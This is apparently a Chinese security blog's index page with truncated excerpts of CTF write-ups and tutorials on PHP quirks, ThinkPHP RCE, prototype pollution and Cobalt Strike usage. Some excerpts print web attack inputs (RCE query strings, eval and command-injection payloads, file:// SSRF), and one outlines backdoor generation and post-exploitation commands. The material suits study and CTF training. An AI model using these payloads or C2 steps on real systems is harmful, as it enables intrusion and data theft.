梦~醒🍇

发表于 2024-11-28 | 更新于 2024-12-02 | CTF | 其他姿势

前言：由于自己搭建的xss平台需要服务器才能获取其他网络的cookie，所以无法接收赛题的cookie，最简便的方法还是使用在线平台，虽然可能有一定风险，以后买服务器了再搭建自己的吧登录后，直接创建项目就行传入的地址如下：然后就能在平台上接受到了

mb_strpos与mb_substr错位索引

发表于 2024-11-26 | 更新于 2024-12-02 | CTF | web姿势

mb_strpos与mb_substr错位索引 1234567891011121314152. mb_substr和mb_strpos函数漏洞mb_strpos() 和 mb_substr() 是 PHP 中用于处理多字节字符的函数，专门用于处理 UTF-8 或其他多字节编码的字符串。(1)mb_strpos: 用于查找一个字符串在另一个字符串中第一次出现的位置（索引），返回结果是该子字符串第一次出现的位置（索引）。mb_strpos(string $haystack, string $needle, int $offset = 0, string $encoding = null): int|false $haystack：要在其中搜索子字符串的源字符串。 $needle：要搜索的子字符串。 $offset（可选）：从哪个位置开始搜索，默认为 0。 $encoding（可选）：要使用的字符编码，默认为内部字符编码。(2)mb_substr: 用于获取一个字符串的子串，返回结果是指定位置和长度的子字符串。mb_substr(string $string, int ...

随机数种子爆破

发表于 2024-11-26 | 更新于 2025-02-09 | CTF | web姿势

在PHP中，变量以$符号开头，后面拼接变量名。上述代码的基本含义是:从$str变量中随机取32次字符(字符可重复)，并拼接成字符串，最后将该字符串赋值给变量$password。执行代码后会输出 $password变量的前10个字节，此时通过POST请求传递password参数到服务端，如果password参数的值与$password变量的值完全相等，那么就会输出flag。理论上，如果选取字符的时候是完全随机的，那么几乎不可能出现 password参数值与$password变量值相等的情况(概率极低)。但由于代码中使用mt_rand()函数来生成随机数，因此如果可以得知该函数生成的一段随机数序列，就可以通过工具爆破出其选取的随机数种子 (该种子由$_Session[‘seed’]变量生成)，从而预测之后的所有随机数序列。在这里，我们使用php_mt_seed工具来爆破随机数种子。该工具的下载地址为:https://www.openwall.com/php_mt_seed/php_mt_seed- 4.0.tar.gz 访问题目页面，可得到前10个字节的随机字符，将输 ...

tp漏洞

发表于 2024-11-25 | 更新于 2025-02-09 | CTF | web姿势

一-识别tp框架(指纹) 1.1 ioc判断 /favicon.ico 1.2报错或者 /index.php/index/index/1 1.3错误传参 1.4特殊指纹出现logo /?c=4e5e5d7364f443e28fbf0d3ae744a59a /4e5e5d7364f443e28fbf0d3ae744a59a p3.1和3.2版本 4e5e5d7364f443e28fbf0d3ae744a59a-index.html 1.5 body特征 body里有"十年磨一剑" 或者"ThinkPHP" 1.6插件二、利用方法数据通过竖线分开, 前面为参数, 后面为函数。例如： 12/?cacheTime=0&isCache=ls|system /index.php/?cacheTime=0&isCache=ls|system #上面不行就换下面根据 thinkphp 的路由规则： 12345由于ThinkPHP存在两种路由规则，如下所示http://serverName/index.php/模块/控 ...

第八届强网杯青少赛wp

发表于 2024-11-24 | 更新于 2025-02-19 | CTF | 比赛wp

[TOC] misc 签到漫画每个漫画的最后一张都是二维码的一部分，全部保存，然后拼在一起，扫描二维码出flag.。 flag{youthful_and_upward} whitepic 考点：gif图像下载文件，没有后缀名，能用010editor打开根据文件头GIF89a，可以看出是个gif文件。直接使用gifsplitter分离帧数，在其中一帧找到flag 问卷你懂的 web ezGetFlag 考点：http请求方式点击10次会出现提示直接抓包，修改请求方式，把GET改成POST就行了。 flag{4efb5300-7885-40a9-bf2a-31bbd8ebef86} ezFindShell 考点：代码审计这题是赛后复现，所以可能不全首先拿到一堆php文件，用seay审计非常相似，当时比赛没找到漏洞，现在复现，全局搜索一下post 发现可用漏洞 array_filter() 函数用回调函数过滤数组中的元素。该函数把输入数组中的每个键值传给回调函数。如果回调函数返回 true，则把输入数组中的当 ...

parse_url函数

发表于 2024-11-24 | 更新于 2024-12-02 | CTF | web姿势

parse_url函数作用：parse_url — 解析 URL，返回其组成部分 mixed parse_url ( string $url [, int $component = -1 ] ) 本函数解析一个 URL 并返回一个关联数组，包含在 URL 中出现的各种组成部分。参数： url：要解析的 URL。无效字符将使用 _ 来替换。 component：指定 PHP_URL_SCHEME、 PHP_URL_HOST、 PHP_URL_PORT、 PHP_URL_USER、 PHP_URL_PASS、 PHP_URL_PATH、PHP_URL_QUERY 或 PHP_URL_FRAGMENT 的其中一个来获取 URL 中指定的部分的 string。（除了指定为PHP_URL_PORT 后，将返回一个 integer 的值）。对严重不合格的 URL，parse_url() 可能会返回 FALSE （CTF常用返回值False 用于逃逸判断） 1234567891011121314151617DEMO<?php$url = 'http://username: ...

深入理解 JavaScript Prototype 污染攻击

发表于 2024-11-24 | 更新于 2025-02-09 | CTF | web姿势

1、prototype和__proto__分别是什么？ JavaScript中，我们如果要定义一个类，需要以定义“构造函数”的方式来定义： 12345function Foo() { this.bar = 1}new Foo() Foo函数的内容，就是Foo类的构造函数，而this.bar就是Foo类的一个属性。为了简化编写JavaScript代码，ECMAScript 6后增加了class语法，但class其实只是一个语法糖。一个类必然有一些方法，类似属性this.bar，我们也可以将方法定义在构造函数内部： 12345678function Foo() { this.bar = 1 this.show = function() { console.log(this.bar) }}(new Foo()).show() 但这样写有一个问题，就是每当我们新建一个Foo对象时，this.show = function...就会执行一次，这个show方法实际上是绑定在对象上的，而不是绑定 ...

docker保存和打包镜像

发表于 2024-11-24 | 更新于 2024-12-02 | CTF | 其他姿势

docker保存和打包镜像作用：在现在容器镜像上保存镜像进行打包，在另一台服务上使用；或现有的容器安装了一些库，配置了开发环境，需要保存下载，下次加载后直接使用。 1.1 首先查看下现有容器镜像（目的是查询需要保存镜像的ID） 1docker ps -a 1.2 接下来用commit参数进行保存镜像（精简版） 1docker commit 7ca736d99653 yolov5:v6.2 其中，7ca736d99653 是需要保存镜像的ID，刚才用docker ps -a 查询到的。打包tar 使用save参数进行打包，格式如：docker save -o tar文件名称镜像REPOSITORY:TAG 1docker save -o yolov5-v6.2.tar yolov5:v6.2 其中yolov5:v6.2 是需要保存镜像的REPOSITORY、和TAG；也是上面保存的镜像名称。

hubu新星杯实践能力赛模拟赛web-wp

发表于 2024-11-23 | 更新于 2024-12-02 | CTF | 比赛wp

ez_eval 123456789 <?phphighlight_file(__FILE__);error_reporting(0);$hubu = $_GET['hubu'];eval($hubu);?> 先进行代码审计，GET传参hubu，并执行命令，没有任何绕过，放开手脚去做 payload: 1?hubu=system('cat /f*'); #直接rce rce_level1 12345678910 <?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);} 代码审计，发现过滤了关键字flag,sys ...

华科第一届网络安全挑战赛wp

发表于 2024-11-19 | 更新于 2025-02-09 | CTF | 比赛wp

[TOC] web secure_shell 考点：exec()无回显对于这类题有个很简单的方法，直接将flag写进文件，然后路径读取就行先测试一下能不能执行 cmd=1;sleep 4 发现反应了4秒，能执行然后直接 cat /f* > 1.txt 最后访问/1.txt路径就行 pyssrf 考点：ssrf漏洞打开有个提示 /get?site= 直接file读取flag /get?site=file:///flag 碎碎念：以为很难。。。试了半天。。。。 misc 一闪一闪亮晶晶考点：凯撒与base64结合，starry语言根据提示，“凯撒大帝想学习一下Starry语言，你能帮帮他么吗”，一定跟凯撒密码和starry语言有关。下载文件，是一串重复度非常高的字符串 1JDBhJDBsJDBhJDBsJDBhJDBhJDBsJDBrJDBhJDBhLzphJDBhJDBhJDthJDphJDBhJDtrJDBhJDBhJDBsJDBrJDBhJDBhJDtrJDBhJDBhJDBsJDBrJDBhJDBhLxprJDBhJDBhJDBsJD ...

CobaltStrike4.8汉化版带插件使用方法

发表于 2024-11-18 | 更新于 2025-02-09 | web渗透 | 工具使用

使用大致流程创建团队服务器->客户端连接服务器->创建监听器->生成后门对应监听器->靶机运行后门成功上线->后渗透（提权，内网漫游，域渗透等）一、安装把全部文件下上传到外网VPS上，并给足权限服务端运行起来本地电脑使用客户端连接即可主要输入HOST、Port、password即可二、上线 1、设置监听器 2、生成木马后门运行即可上线CS 3、指令大全 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889browserpivot 注入受害者浏览器进程sleep 3 全部命令3秒执行bypassuac 绕过UACcancel 取消正在进行的下载cd 切换目录checkin 强制让被控端回连一次clear 清除beacon内部的任务队 ...

Restorator常见使用方法

发表于 2024-11-18 | 更新于 2024-12-02 | web渗透 | 工具使用

Restorator常见使用方法有哪些？案例一：解决WinRAR弹出广告 1、导出rc文件 WinRAR安装完成后，用Restorator 2018打开安装目录WinRAR.exe。点开“打开”对话框后，通过WinRAR的安装路径，找到这个exe程序，然后点击“打开”。 Restorator 2018界面主要分为左右两个区，左边是资源树，我们点击“字符串”左边的加号，在展开的项目中，右键点击“中文”，然后选择“导出”→“导出为.rc”，保存到桌面： 2、打开rc文件上一步会导出一个.rc后缀的文件到指定位置。这一步我们去找到这个文件。如下图所示，我将导出的文件命名为“WinRAR导出分析-中文(简体，中-国).rc”，找到它，右键点开菜单后选择“打开方式”，然后用记事本的方式打开它也可以用文本编辑工具（notepad++）修改：注意选择用记事本打开这个.rc文件时，不要勾选“始终用此应用打开.rc文件”。 3、定位弹广代码这一步很关键。下图就是用记事本打开.rc文件的样子，可以看到每一行都有个序数，后面引号里是一个可执行操作的名字。我们需要找到有关弹窗广告的代码，并用合 ...